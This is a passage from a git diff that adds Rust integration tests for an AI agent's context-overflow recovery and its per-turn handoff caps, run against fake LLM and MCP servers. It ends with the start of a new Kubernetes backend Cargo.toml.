+            ),
+            ("BUZZ_AGENT_MAX_HANDOFFS", "0"),
+        ],
+    )
+    .await;
+    let sid = init_session(&mut h, json!([])).await;
+    let p0 = h
+        .send(
+            "session/prompt",
+            json!({"sessionId": sid, "prompt": [{"type":"text","text": large_prompt("always-overflows")}]}),
+        )
+        .await;
+    let r0 = tokio::time::timeout(
+        Duration::from_secs(20),
+        h.recv_until(|v| v["id"] == json!(p0)),
+    )
+    .await
+    .expect("recovery must be bounded — prompt never returned, so the rescue loop is unbounded");
+    assert!(
+        r0.get("error").is_some(),
+        "exhausted recovery must surface the provider error, got: {r0}"
+    );
+    let msg = r0["error"]["message"].as_str().unwrap_or_default();
+    assert!(
+        msg.contains("context"),
+        "surfaced error should be the provider's own context-window error, got: {msg}"
+    );
+    // Discriminate WHICH bound stopped the loop. Both the budget and the prompt
+    // floor produce a surfaced error, so the assertion above passes either way
+    // — and the floor can fire on the first rung without the budget ever being
+    // consumed, which would make this test silently exercise a different
+    // mechanism than its name claims. Pin the budget explicitly.
+    let stderr = h.stderr_text();
+    assert!(
+        stderr.contains("context recovery budget spent"),
+        "the per-run recovery BUDGET must be what stops the loop here, not the prompt floor; \
+         got: {stderr}"
+    );
+    // Corroboration: every rung actually ran a forced handoff.
+    let rungs = stderr
+        .matches("provider reported context overflow; forcing handoff")
+        .count();
+    assert_eq!(
+        rungs, 3,
+        "expected all 3 recovery rungs to be attempted before giving up, saw {rungs} — \
+         stderr={stderr}"
+    );
+    h.shutdown().await;
+}
+
+/// The prompt-budget floor, observed on its own. A context-window 400 on a
+/// SMALL history must refuse to rescue rather than halve toward zero: the
+/// overflow is then dominated by what a handoff cannot shrink (system prompt,
+/// tool schemas, the live user prompt), so shrinking history further would only
+/// issue smaller doomed requests in place of a clear error.
+///
+/// The outcome — a surfaced error — is identical to budget exhaustion, so this
+/// asserts the discriminating evidence instead: the floor log line, and that
+/// ZERO forced handoffs were attempted. Without the floor the ladder would spend
+/// all three rungs summarizing a 40-byte history, which is the behavior this
+/// arm exists to forbid.
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+async fn small_history_context_400_refuses_rescue_at_the_prompt_floor() {
+    let responses: Vec<(u16, Value)> = (0..10)
+        .map(|_| (400, openai_context_length_error()))
+        .collect();
+    let llm = spawn_capturing_llm_with_status(responses).await;
+    let mut h = Harness::spawn_with_env(
+        &llm.url,
+        &[
+            ("BUZZ_AGENT_MAX_CONTEXT_TOKENS", "200000"),
+            (
+                "BUZZ_AGENT_MAX_HISTORY_BYTES",
+                &(16 * 1024 * 1024).to_string(),
+            ),
+            ("BUZZ_AGENT_MAX_HANDOFFS", "0"),
+        ],
+    )
+    .await;
+    let sid = init_session(&mut h, json!([])).await;
+    let p0 = h
+        .send(
+            "session/prompt",
+            json!({"sessionId": sid, "prompt": [{"type":"text","text":"tiny"}]}),
+        )
+        .await;
+    let r0 = tokio::time::timeout(
+        Duration::from_secs(20),
+        h.recv_until(|v| v["id"] == json!(p0)),
+    )
+    .await
+    .expect("must not loop — the floor should stop the rescue immediately");
+    assert!(
+        r0.get("error").is_some(),
+        "a context 400 with no shrinkable history must surface the error, got: {r0}"
+    );
+    let stderr = h.stderr_text();
+    assert!(
+        stderr.contains("below the") && stderr.contains("floor"),
+        "the prompt-budget FLOOR must be what stops this, not the recovery budget; got: {stderr}"
+    );
+    let rungs = stderr
+        .matches("provider reported context overflow; forcing handoff")
+        .count();
+    assert_eq!(
+        rungs, 0,
+        "no rescue should be attempted below the floor, saw {rungs} — stderr={stderr}"
+    );
+    // Exactly one request: the rejected one. No summarize, no retry.
+    let captured = llm.captured.lock().await.len();
+    assert_eq!(
+        captured, 1,
+        "expected no rescue round-trips below the floor, saw {captured} requests"
+    );
+    h.shutdown().await;
+}
+
+/// The recovery ladder must actually SHRINK, not just re-summarize at the size
+/// that was already rejected.
+///
+/// Observed on the summarize request's own body — the only externally visible
+/// consequence of the prompt budget. The rejected completion carried the full
+/// history; the rescue's summarize prompt must be materially smaller. Without
+/// this arm, deleting the halving entirely leaves every other test green: they
+/// assert that a handoff HAPPENED, and a handoff at the rejected size still
+/// happens (it just cannot escape a real overflow, which a stub does not
+/// reproduce).
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+async fn recovery_shrinks_the_summarize_prompt_below_the_rejected_size() {
+    let llm = spawn_capturing_llm_with_status(vec![
+        (400, openai_context_length_error()),
+        (200, openai_text("summary")),
+        (200, openai_text_with_usage("done", 10)),
+    ])
+    .await;
+    let mut h = Harness::spawn_with_env(
+        &llm.url,
+        &[
+            ("BUZZ_AGENT_MAX_CONTEXT_TOKENS", "200000"),
+            (
+                "BUZZ_AGENT_MAX_HISTORY_BYTES",
+                &(16 * 1024 * 1024).to_string(),
+            ),
+            ("BUZZ_AGENT_MAX_HANDOFFS", "0"),
+        ],
+    )
+    .await;
+    let sid = init_session(&mut h, json!([])).await;
+    let p0 = h
+        .send(
+            "session/prompt",
+            json!({"sessionId": sid, "prompt": [{"type":"text","text": large_prompt("shrink-probe")}]}),
+        )
+        .await;
+    let r0 = h.recv_until(|v| v["id"] == json!(p0)).await;
+    assert!(r0.get("error").is_none(), "expected recovery: {r0}");
+
+    let captured = llm.captured.lock().await.clone();
+    assert!(
+        captured.len() >= 2,
+        "expected at least reject + summarize, saw {}",
+        captured.len()
+    );
+    let content_bytes = |req: &Value| -> usize {
+        req["messages"]
+            .as_array()
+            .map(|ms| {
+                ms.iter()
+                    .filter_map(|m| m["content"].as_str())
+                    .map(str::len)
+                    .sum()
+            })
+            .unwrap_or(0)
+    };
+    let rejected = content_bytes(&captured[0]);
+    let summarize = content_bytes(&captured[1]);
+    assert!(
+        rejected > 0 && summarize > 0,
+        "empty measurement is not a result: rejected={rejected} summarize={summarize}"
+    );
+    // Halving from the rejected size lands near 0.5x; 0.75x leaves headroom for
+    // the summarizer's fixed frame while still failing if no shrink happened.
+    assert!(
+        (summarize as f64) < 0.75 * (rejected as f64),
+        "rescue summarize prompt ({summarize} bytes) must be materially smaller than the \
+         rejected request ({rejected} bytes) — the ladder is not shrinking"
+    );
+    h.shutdown().await;
+}
+
+/// The ladder must shrink between RUNGS, not just once on entry.
+///
+/// This arm exists because a mutant that pins `shift` to `1` — deleting the
+/// `attempts` dependence, so every rung rebuilds the same budget — SURVIVED the
+/// whole suite. It had to: `attempts` is 0 on the first rung, so `shift = 1` IS
+/// production there, and every other arm stops at rung 1. The single-rung shrink
+/// arm above cannot see this; only a fixture that forces a SECOND rung can.
+///
+/// The forcing move is the realistic one the ladder was designed for: the
+/// summarize call travels the same provider path, so rung 1's summarize is
+/// itself rejected for context overflow (`Skipped`), and rung 2 must come back
+/// with a materially smaller summarizer prompt.
+///
+/// Budgets: history is ~64 KB, so rung 1 asks for ~32 KB and rung 2 for ~16 KB,
+/// both comfortably above the 4 KiB floor — the floor must not be what
+/// separates them, or this would measure the wrong mechanism.
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+async fn recovery_shrinks_further_on_each_rung() {
+    let llm = spawn_capturing_llm_with_status(vec![
+        // 1: the completion that overflows.
+        (400, openai_context_length_error()),
+        // 2: rung-1 summarize, rejected the same way -> Skipped -> next rung.
+        (400, openai_context_length_error()),
+        // 3: rung-2 summarize succeeds.
+        (200, openai_text("summary")),
+        // 4: the retried completion.
+        (200, openai_text_with_usage("done", 10)),
+    ])
+    .await;
+    let mut h = Harness::spawn_with_env(
+        &llm.url,
+        &[
+            ("BUZZ_AGENT_MAX_CONTEXT_TOKENS", "200000"),
+            (
+                "BUZZ_AGENT_MAX_HISTORY_BYTES",
+                &(16 * 1024 * 1024).to_string(),
+            ),
+            ("BUZZ_AGENT_MAX_HANDOFFS", "0"),
+        ],
+    )
+    .await;
+    let sid = init_session(&mut h, json!([])).await;
+    let p0 = h
+        .send(
+            "session/prompt",
+            json!({"sessionId": sid, "prompt": [{"type":"text","text": large_prompt("rung-shrink-probe")}]}),
+        )
+        .await;
+    let r0 = h.recv_until(|v| v["id"] == json!(p0)).await;
+    assert!(
+        r0.get("error").is_none(),
+        "expected recovery on the second rung: {r0}"
+    );
+
+    // The second rung must actually have been taken — otherwise the byte
+    // comparison below would compare rung 1 against the retry.
+    let stderr = h.stderr_text();
+    assert!(
+        stderr.contains("did not run; shrinking further"),
+        "rung 1 must have been Skipped so rung 2 runs; got: {stderr}"
+    );
+    assert!(
+        !stderr.contains("below the"),
+        "the prompt FLOOR must not be involved in this fixture; got: {stderr}"
+    );
+
+    let captured = llm.captured.lock().await.clone();
+    assert_eq!(
+        captured.len(),
+        4,
+        "expected reject + rung1 summarize + rung2 summarize + retry, saw {}",
+        captured.len()
+    );
+    let content_bytes = |req: &Value| -> usize {
+        req["messages"]
+            .as_array()
+            .map(|ms| {
+                ms.iter()
+                    .filter_map(|m| m["content"].as_str())
+                    .map(str::len)
+                    .sum()
+            })
+            .unwrap_or(0)
+    };
+    let rung1 = content_bytes(&captured[1]);
+    let rung2 = content_bytes(&captured[2]);
+    assert!(
+        rung1 > 0 && rung2 > 0,
+        "empty measurement is not a result: rung1={rung1} rung2={rung2}"
+    );
+    assert!(
+        (rung2 as f64) < 0.75 * (rung1 as f64),
+        "each rung must shrink: rung2 ({rung2} bytes) is not materially smaller than rung1 \
+         ({rung1} bytes) — the budget is not tracking `attempts`"
+    );
+    h.shutdown().await;
+}
+
+/// Gate 5, and the DIRECTION the clearing protects: not a spurious handoff, a
+/// MISSED one. After a reactive reset the stale `last_request_input_tokens`
+/// describes history that no longer exists, and its paired byte baseline
+/// describes the pre-reset (larger) history — so `grown` stays near zero and the
+/// projection collapses to the stale sub-threshold token count. The gate goes
+/// BLIND until history exceeds its pre-reset size.
+///
+/// Constructing the divergence takes three turns, and two of the constraints are
+/// load-bearing — a first attempt with a simpler fixture produced traces
+/// BYTE-IDENTICAL between the fix and its deletion:
+///   * Turn 1 must stay UNDER the gate threshold, or the proactive handoff fires
+///     first and consumes the queue slot the overflow was meant to land in — no
+///     usage is ever recorded, both variants sit at `None`, and the test measures
+///     nothing.
+///   * The post-recovery retry must report NO usage. A usage-bearing response
+///     overwrites both fields with coherent values on the spot, which makes the
+///     clear genuinely redundant and the mutant equivalent. The reachable window
+///     is exactly when the retry omits usage and the stale pair survives.
+/// Turn 3 then carries a large prompt: a cleared baseline falls through to the
+/// byte signal and hands off, while the stale pair projects
+/// `10 + (190KB - 100KB)` = ~90k tokens, under the 180k threshold, and does not.
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+async fn reactive_reset_clears_usage_baseline_so_the_gate_is_not_blind() {
+    // ~100 KB: under the 180 KB byte-fallback threshold, so turn 1 does NOT
+    // trip the proactive gate, but large enough to be the stale `measured_bytes`
+    // that suppresses `grown` later.
+    let mut medium = String::with_capacity(100 * 1024);
+    medium.push_str("turn-one-medium ");
+    while medium.len() < 100 * 1024 {
+        medium.push_str("padding under the byte fallback threshold. ");
+    }
+    // ~190 KB: over the threshold, so a CLEARED baseline must hand off.
+    let mut big = String::with_capacity(190 * 1024);
+    big.push_str("turn-three-large ");
+    while big.len() < 190 * 1024 {
+        big.push_str("padding to exceed the byte fallback threshold. ");
+    }
+
+    let llm = spawn_capturing_llm_with_status(vec![
+        // Turn 1: succeeds, reporting a SMALL usage reading against a ~100 KB
+        // history. This is the pair that goes stale.
+        (200, openai_text_with_usage("ack-medium", 10)),
+        // Turn 2: the overflow.
+        (400, openai_context_length_error()),
+        // Turn 2: the forced handoff's summarize.
+        (200, openai_text("forced summary")),
+        // Turn 2: the retry — NO usage block, so the baseline is not refreshed.
+        (200, openai_text("recovered, no usage reported")),
+        // Turn 3: with a cleared baseline a gated summarize comes first; with a
+        // stale one this slot is the completion instead. Spares so an exhausted
+        // queue is never what ends a turn.
+        (200, openai_text("gated summary")),
+        (200, openai_text_with_usage("done", 10)),
+        (200, openai_text_with_usage("spare-1", 10)),
+        (200, openai_text_with_usage("spare-2", 10)),
+    ])
+    .await;
+    let mut h = Harness::spawn_with_env(
+        &llm.url,
+        &[
+            ("BUZZ_AGENT_MAX_CONTEXT_TOKENS", "200000"),
+            ("BUZZ_AGENT_MAX_OUTPUT_TOKENS", "8192"),
+            (
+                "BUZZ_AGENT_MAX_HISTORY_BYTES",
+                &(16 * 1024 * 1024).to_string(),
+            ),
+            // Must permit a GATED handoff — turn 3 observes the proactive gate,
+            // which a cap of 0 would forbid.
+            ("BUZZ_AGENT_MAX_HANDOFFS", "5"),
+        ],
+    )
+    .await;
+    let sid = init_session(&mut h, json!([])).await;
+
+    // Turn 1: under threshold, records the usage pair.
+    let p0 = h
+        .send(
+            "session/prompt",
+            json!({"sessionId": sid, "prompt": [{"type":"text","text": medium}]}),
+        )
+        .await;
+    let r0 = tokio::time::timeout(
+        Duration::from_secs(25),
+        h.recv_until(|v| v["id"] == json!(p0)),
+    )
+    .await
+    .expect("turn 1 must return");
+    assert!(r0.get("error").is_none(), "turn 1 should succeed: {r0}");
+    assert!(
+        !h.stderr_text().contains("handoff #"),
+        "precondition: turn 1 must NOT hand off, or no usage pair is recorded and this test \
+         measures nothing. stderr={}",
+        h.stderr_text()
+    );
+
+    // Turn 2: small prompt, overflow, reactive recovery.
+    let p1 = h
+        .send(
+            "session/prompt",
+            json!({"sessionId": sid, "prompt": [{"type":"text","text":"small, overflows"}]}),
+        )
+        .await;
+    let r1 = tokio::time::timeout(
+        Duration::from_secs(25),
+        h.recv_until(|v| v["id"] == json!(p1)),
+    )
+    .await
+    .expect("turn 2 must return");
+    assert!(r1.get("error").is_none(), "turn 2 should recover: {r1}");
+    assert!(
+        h.stderr_text()
+            .contains("provider reported context overflow; forcing handoff"),
+        "precondition: the reactive path must have run in turn 2. stderr={}",
+        h.stderr_text()
+    );
+    let handoffs_after_turn2 = h.stderr_text().matches("handoff #").count();
+
+    // Turn 3: large prompt. A cleared baseline sees it via the byte signal and
+    // hands off; a stale pair under-projects and stays blind.
+    let p2 = h
+        .send(
+            "session/prompt",
+            json!({"sessionId": sid, "prompt": [{"type":"text","text": big}]}),
+        )
+        .await;
+    let r2 = tokio::time::timeout(
+        Duration::from_secs(25),
+        h.recv_until(|v| v["id"] == json!(p2)),
+    )
+    .await
+    .expect("turn 3 must return");
+    assert!(r2.get("error").is_none(), "turn 3 should succeed: {r2}");
+    let stderr = h.stderr_text();
+    let handoffs_after_turn3 = stderr.matches("handoff #").count();
+    assert!(
+        handoffs_after_turn3 > handoffs_after_turn2,
+        "turn 3 must produce a GATED handoff ({handoffs_after_turn2} before, \
+         {handoffs_after_turn3} after): the reactive reset must clear the usage baseline, or the \
+         proactive gate under-projects and stays blind to an oversized history. stderr={stderr}"
+    );
+    h.shutdown().await;
+}
+
+// ─── Tests: per-turn handoff cap semantics ───────────────────────────────────
+
+/// A session that has already performed N handoffs in previous turns must still
+/// compact on subsequent turns — the per-session lifetime kill switch is gone.
+///
+/// Mechanism: the gate fires at the start of each round, comparing
+/// `last_request_input_tokens` (stored by the previous response) against the
+/// token threshold. So:
+/// - Turn 1 complete() returns usage=950 (> threshold=900). Turn ends; usage stored.
+/// - Turn 2 round 0: 950 >= 900 → handoff. post-handoff complete() returns usage=950.
+///   Session `handoff_count` is now 1; `turn_handoff_count` was just reset to 0 at
+///   turn start and is now 1.
+/// - Turn 3 round 0: `turn_handoff_count` resets to 0; session count is 1 but
+///   the gate uses `turn_handoff_count` → cap not reached → handoff fires again.
+///
+/// Without the fix (`handoff_count` compared against cap, never reset):
+///   session count after turn 2 = 1 >= max_handoffs=1 → gate permanently blocked
+///   for all subsequent turns → history grows until provider wall.
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+async fn handoff_cap_resets_per_turn_not_per_session() {
+    // LLM call sequence:
+    //  req 1: turn 1 complete()           → usage=950 (over threshold)
+    //  req 2: turn 2 pre-flight summarize → summary text
+    //  req 3: turn 2 complete()           → usage=950 (re-arms gate for turn 3)
+    //  req 4: turn 3 pre-flight summarize → summary text  ← cap reset proves this fires
+    //  req 5: turn 3 complete()           → done
+    let llm = spawn_capturing_llm(vec![
+        openai_text_with_usage("ack-t1", 950), // turn 1: stores high usage
+        openai_text("summary-t2"),             // turn 2: pre-flight summarize
+        openai_text_with_usage("done-t2", 950), // turn 2: post-handoff, re-arms gate
+        openai_text("summary-t3"),             // turn 3: pre-flight summarize (cap reset)
+        openai_text_with_usage("done-t3", 10), // turn 3: post-handoff complete
+    ])
+    .await;
+
+    let mut h = Harness::spawn_with_env(
+        &llm.url,
+        &[
+            ("BUZZ_AGENT_MAX_CONTEXT_TOKENS", "1000"),
+            ("BUZZ_AGENT_MAX_OUTPUT_TOKENS", "100"),
+            // Cap of 1 per turn. Before the fix this permanently disables the
+            // gate once session handoff_count reaches 1.
+            ("BUZZ_AGENT_MAX_HANDOFFS", "1"),
+            (
+                "BUZZ_AGENT_MAX_HISTORY_BYTES",
+                &(16 * 1024 * 1024).to_string(),
+            ),
+        ],
+    )
+    .await;
+    let sid = init_session(&mut h, json!([])).await;
+
+    // Turn 1: no prior usage; preflight skips (byte-fallback not triggered by
+    // tiny prompt). complete() stores usage=950.
+    let p1 = h
+        .send(
+            "session/prompt",
+            json!({"sessionId": sid, "prompt": [{"type":"text","text":"turn 1"}]}),
+        )
+        .await;
+    let _ = h.recv_until(|v| v["id"] == json!(p1)).await;
+    assert_eq!(
+        llm.captured.lock().await.len(),
+        1,
+        "turn 1 must produce exactly 1 LLM request"
+    );
+
+    // Turn 2: 950 >= threshold=900 → handoff fires. Session handoff_count: 1.
+    let p2 = h
+        .send(
+            "session/prompt",
+            json!({"sessionId": sid, "prompt": [{"type":"text","text":"turn 2"}]}),
+        )
+        .await;
+    let _ = h.recv_until(|v| v["id"] == json!(p2)).await;
+    assert_eq!(
+        llm.captured.lock().await.len(),
+        3,
+        "turn 2 must produce 2 LLM requests (summarize + complete), 3 total"
+    );
+    let stderr = h.stderr_text();
+    assert!(
+        stderr.contains("handoff #1"),
+        "expected first handoff log after turn 2; got: {stderr}"
+    );
+
+    // Turn 3: turn_handoff_count resets to 0 → gate fires again despite
+    // session handoff_count=1 == cap=1.
+    let p3 = h
+        .send(
+            "session/prompt",
+            json!({"sessionId": sid, "prompt": [{"type":"text","text":"turn 3"}]}),
+        )
+        .await;
+    let _ = h.recv_until(|v| v["id"] == json!(p3)).await;
+    assert_eq!(
+        llm.captured.lock().await.len(),
+        5,
+        "turn 3 must also produce 2 LLM requests (per-turn cap reset → handoff fires again), \
+         5 total"
+    );
+    let stderr = h.stderr_text();
+    assert!(
+        stderr.contains("handoff #2"),
+        "expected second handoff log after turn 3 (cap reset); got: {stderr}"
+    );
+
+    h.shutdown().await;
+}
+
+/// Within a single turn, the per-turn cap still bounds the number of handoffs.
+/// A turn that exceeds `max_handoffs` compaction attempts must emit a WARN and
+/// fall back to truncation — it must NOT compact indefinitely.
+///
+/// Mechanism: with cap=1 and a multi-round turn (tool call in round 1 → round 2),
+/// the pre-flight handoff fires at the start of round 1 (usage from a *previous*
+/// turn is high). After the compaction, the post-handoff complete() in round 1
+/// returns a tool call, causing a second round. Round 2's preflight sees that
+/// turn_handoff_count=1 == max_handoffs=1, so it refuses and emits WARN.
+///
+/// A steer is injected while the run is active to prove that the steer path
+/// does NOT reset `handoff_attempts` — the cap must still fire on round 1 with
+/// no second summarize call.
+///
+/// This test requires a fake MCP server to produce a tool-call round.
+/// It drives via `fake-mcp` — the same binary used in other multi-round tests.
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+async fn handoff_cap_binds_within_a_single_turn() {
+    // LLM call sequence in turn 2 (turn 1 seeds the usage):
+    //  req 1: turn 1 complete()            → usage=950 (over threshold=900)
+    //  req 2: turn 2 round 0 summarize()   → summary (handoff_attempts: 0→1)
+    //  req 3: turn 2 round 0 complete()    → tool_call + usage=950 (re-arms gate)
+    //         [fake-mcp tool executes; steer queued while run is active]
+    //  req 4: turn 2 round 1 preflight     → 950 >= 900 AND attempts=1 >= max=1
+    //                                         → WARN, skip (cap exhausted for this turn)
+    //  req 5: turn 2 round 1 complete()    → end_turn (steer text folded into messages)
+    let fake_mcp = env!("CARGO_BIN_EXE_fake-mcp");
+    // Build a tool-call response that also carries usage so the gate re-arms
+    // on round 1's preflight (without usage, last_request_input_tokens is None
+    // after the handoff clears it, and the byte-fallback won't fire on tiny history).
+    let tool_call_with_usage = {
+        let mut v = openai_tool_call("tc-1", "test_tool", json!({}));
+        v["usage"] = json!({
+            "prompt_tokens": 950u64,
+            "completion_tokens": 5,
+            "total_tokens": 955,
+        });
+        v
+    };
+    let llm = spawn_capturing_llm(vec![
+        openai_text_with_usage("seed", 950), // turn 1: seed high usage
+        openai_text("handoff-summary"),      // turn 2 round 0: summarize
+        tool_call_with_usage,                // turn 2 round 0: tool call + usage (re-arms)
+        openai_text_with_usage("end_turn_text", 10), // turn 2 round 1: final answer
+    ])
+    .await;
+
+    let mut h = Harness::spawn_with_env(
+        &llm.url,
+        &[
+            ("BUZZ_AGENT_MAX_CONTEXT_TOKENS", "1000"),
+            ("BUZZ_AGENT_MAX_OUTPUT_TOKENS", "100"),
+            ("BUZZ_AGENT_MAX_HANDOFFS", "1"),
+            (
+                "BUZZ_AGENT_MAX_HISTORY_BYTES",
+                &(16 * 1024 * 1024).to_string(),
+            ),
+        ],
+    )
+    .await;
+
+    // Init with the fake MCP server so test_tool is available.
+    h.send(
+        "initialize",
+        json!({"protocolVersion":1,"clientCapabilities":{}}),
+    )
+    .await;
+    let _ = h.recv().await;
+    h.send(
+        "session/new",
+        json!({
+            "cwd": "/tmp",
+            "mcpServers": [{
+                "name": "cap_test",
+                "command": fake_mcp,
+                "args": [],
+                "env": [{ "name": "FAKE_MCP_TOOL_COUNT", "value": "1" }],
+            }],
+        }),
+    )
+    .await;
+    let r = h
+        .recv_until(|v| v.get("result").is_some() || v.get("error").is_some())
+        .await;
+    let sid = r["result"]["sessionId"].as_str().unwrap().to_owned();
+
+    // Turn 1: seed high usage.
+    let p1 = h
+        .send(
+            "session/prompt",
+            json!({"sessionId": sid, "prompt": [{"type":"text","text":"seed"}]}),
+        )
+        .await;
+    let _ = h.recv_until(|v| v["id"] == json!(p1)).await;
+
+    // Turn 2: triggers a handoff at round 0, then a tool call, then round 1
+    // where the cap is already exhausted.  A steer is injected while the run
+    // is active to prove mid-turn steers cannot reset `handoff_attempts`.
+    let p2 = h
+        .send(
+            "session/prompt",
+            json!({"sessionId": sid, "prompt": [{"type":"text","text":"do work"}]}),
+        )
+        .await;
+
+    // Drain until the final response, approving tool-permission requests,
+    // capturing the activeRunId once it is broadcast, sending one steer,
+    // and verifying that it is accepted in the live run.
+    let mut run_id: Option<String> = None;
+    let mut steer_id: i64 = -1;
+    let mut steer_accepted = false;
+    loop {
+        let v = h.recv().await;
+
+        // Capture the run id from the first session/update that carries it,
+        // then immediately queue a steer.  This must happen before round 1 so
+        // the steer text is present but the cap check still fires — proving
+        // the counter is not reset by the steer path.
+        if run_id.is_none() {
+            if let Some(rid) = v["params"]["update"]["_meta"]["goose"]["activeRunId"].as_str() {
+                run_id = Some(rid.to_owned());
+                steer_id = h
+                    .send(
+                        "_goose/unstable/session/steer",
+                        json!({
+                            "sessionId": sid,
+                            "expectedRunId": rid,
+                            "prompt": [{"type":"text","text":"STEER-CANARY: also consider the edge case"}],
+                        }),
+                    )
+                    .await;
+            }
+        }
+
+        // Steer response: assert it was accepted in the live run.
+        if steer_id >= 0 && v["id"] == json!(steer_id) {
+            assert!(
+                v.get("result").is_some(),
+                "steer must be accepted while the run is active; got: {v}"
+            );
+            assert_eq!(
+                v["result"]["runId"].as_str(),
+                run_id.as_deref(),
+                "steer must reference the live run id"
+            );
+            steer_accepted = true;
+            continue;
+        }
+
+        if v.get("method") == Some(&json!("session/request_permission")) {
+            let id = v["id"].clone();
+            h.write(json!({
+                "jsonrpc": "2.0",
+                "id": id,
+                "result": { "outcome": { "outcome": "selected", "optionId": "allow" } },
+            }))
+            .await;
+            continue;
+        }
+        if v["id"] == json!(p2) {
+            assert!(
+                v.get("result").is_some(),
+                "turn 2 must succeed even when cap blocks round-1 handoff; got: {v}"
+            );
+            break;
+        }
+    }
+
+    assert!(
+        steer_accepted,
+        "steer was never accepted during turn 2; the steer arm is missing coverage"
+    );
+
+    // 4 LLM requests: seed + summarize + tool-call-with-usage + final-complete.
+    let count = llm.captured.lock().await.len();
+    assert_eq!(
+        count, 4,
+        "expected 4 LLM requests (seed + summarize + tool-call + final); got {count}"
+    );
+
+    let stderr = h.stderr_text();
+    assert!(
+        stderr.contains("handoff cap reached"),
+        "expected cap-reached WARN in stderr; got: {stderr}"
+    );
+    assert!(
+        stderr.contains("reason=\"preflight\""),
+        "expected reason=\"preflight\" field in cap WARN; got: {stderr}"
+    );
+    assert!(
+        stderr.contains("handoff_attempts="),
+        "expected handoff_attempts field in cap WARN; got: {stderr}"
+    );
+    assert!(
+        stderr.contains("max_handoffs="),
+        "expected max_handoffs field in cap WARN; got: {stderr}"
+    );
+
+    h.shutdown().await;
+}
+
+/// A failing `summarize()` call must still consume one slot from the per-turn
+/// handoff-attempt budget. Before the fix, `handoff_count` was incremented only
+/// on a successful compaction; a flaky summarizer could be retried indefinitely
+/// within a turn. The fix moves the increment to before `summarize()`.
+///
+/// Proof: with `max_handoffs=1` and a multi-round turn:
+/// - Round 0 preflight: threshold met, attempts: 0→1, summarize() fails → Skipped.
+/// - Round 1 preflight: attempts=1 >= cap=1 → WARN (cap hit despite no successful
+///   compaction). Without the pre-summarize increment, attempts would still be 0
+///   here and a second summarize() would be attempted — the bug.
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+async fn failed_summarize_burns_handoff_attempt_budget() {
+    // We need the summarize() call to fail. The summarize path uses the same
+    // fake LLM server; we queue an HTTP error body for the summarize request.
+    // But our spawn_capturing_llm always returns 200, so we use a non-OpenAI-
+    // shaped response that the agent will treat as an error (missing `choices`).
+    //
+    // LLM call sequence:
+    //  req 1: turn 1 complete()           → usage=950 (seeds the gate)
+    //  req 2: turn 2 round 0 summarize()  → malformed response (treated as error)
+    //                                       handoff_attempts incremented to 1 BEFORE this
+    //  req 3: turn 2 round 0 complete()   → tool_call + usage=950 (re-arms gate)
+    //  req 4: turn 2 round 1 preflight    → cap reached: WARN (attempts=1 >= max=1)
+    //  req 5: turn 2 round 1 complete()   → end_turn
+    let fake_mcp = env!("CARGO_BIN_EXE_fake-mcp");
+    let bad_summary_response = json!({ "error": "upstream unavailable" }); // no `choices`
+    let tool_call_with_usage = {
+        let mut v = openai_tool_call("tc-2", "test_tool", json!({}));
+        v["usage"] = json!({
+            "prompt_tokens": 950u64,
+            "completion_tokens": 5,
+            "total_tokens": 955,
+        });
+        v
+    };
+    let llm = spawn_capturing_llm(vec![
+        openai_text_with_usage("seed", 950), // turn 1: seed usage
+        bad_summary_response,                // turn 2 round 0: summarize fails
+        tool_call_with_usage,                // turn 2 round 0: complete → tool call
+        openai_text_with_usage("done", 10),  // turn 2 round 1: final answer
+    ])
+    .await;
+
+    let mut h = Harness::spawn_with_env(
+        &llm.url,
+        &[
+            ("BUZZ_AGENT_MAX_CONTEXT_TOKENS", "1000"),
+            ("BUZZ_AGENT_MAX_OUTPUT_TOKENS", "100"),
+            ("BUZZ_AGENT_MAX_HANDOFFS", "1"),
+            (
+                "BUZZ_AGENT_MAX_HISTORY_BYTES",
+                &(16 * 1024 * 1024).to_string(),
+            ),
+        ],
+    )
+    .await;
+
+    h.send(
+        "initialize",
+        json!({"protocolVersion":1,"clientCapabilities":{}}),
+    )
+    .await;
+    let _ = h.recv().await;
+    h.send(
+        "session/new",
+        json!({
+            "cwd": "/tmp",
+            "mcpServers": [{
+                "name": "budget_test",
+                "command": fake_mcp,
+                "args": [],
+                "env": [{ "name": "FAKE_MCP_TOOL_COUNT", "value": "1" }],
+            }],
+        }),
+    )
+    .await;
+    let r = h
+        .recv_until(|v| v.get("result").is_some() || v.get("error").is_some())
+        .await;
+    let sid = r["result"]["sessionId"].as_str().unwrap().to_owned();
+
+    // Turn 1: seed high usage.
+    let p1 = h
+        .send(
+            "session/prompt",
+            json!({"sessionId": sid, "prompt": [{"type":"text","text":"seed"}]}),
+        )
+        .await;
+    let _ = h.recv_until(|v| v["id"] == json!(p1)).await;
+
+    // Turn 2: round 0 summarize fails, but attempts was already incremented.
+    // Round 1 preflight must see cap hit and emit WARN.
+    let p2 = h
+        .send(
+            "session/prompt",
+            json!({"sessionId": sid, "prompt": [{"type":"text","text":"work"}]}),
+        )
+        .await;
+
+    loop {
+        let v = h.recv().await;
+        if v.get("method") == Some(&json!("session/request_permission")) {
+            let id = v["id"].clone();
+            h.write(json!({
+                "jsonrpc": "2.0",
+                "id": id,
+                "result": { "outcome": { "outcome": "selected", "optionId": "allow" } },
+            }))
+            .await;
+            continue;
+        }
+        if v["id"] == json!(p2) {
+            assert!(v.get("result").is_some(), "turn 2 must succeed; got: {v}");
+            break;
+        }
+    }
+
+    let stderr = h.stderr_text();
+    // Round 0: the failed summarize should warn about the failure.
+    assert!(
+        stderr.contains("handoff failed") || stderr.contains("handoff returned empty"),
+        "expected summarize-failure WARN; got: {stderr}"
+    );
+    // Round 1: cap must be hit (attempts=1 from the failed attempt).
+    assert!(
+        stderr.contains("handoff cap reached"),
+        "expected cap-reached WARN after failed summarize burned the attempt; got: {stderr}"
+    );
+
+    h.shutdown().await;
+}
diff --git a/crates/buzz-backend-kubernetes/Cargo.toml b/crates/buzz-backend-kubernetes/Cargo.toml
new file mode 100644
index 0000000000..1cd17030db
--- /dev/null
+++ b/crates/buzz-backend-kubernetes/Cargo.toml
@@ -0,0 +1,36 @@
+[package]
+name = "buzz-backend-kubernetes"
+version.workspace = true
+edition.workspace = true
+rust-version.workspace = true
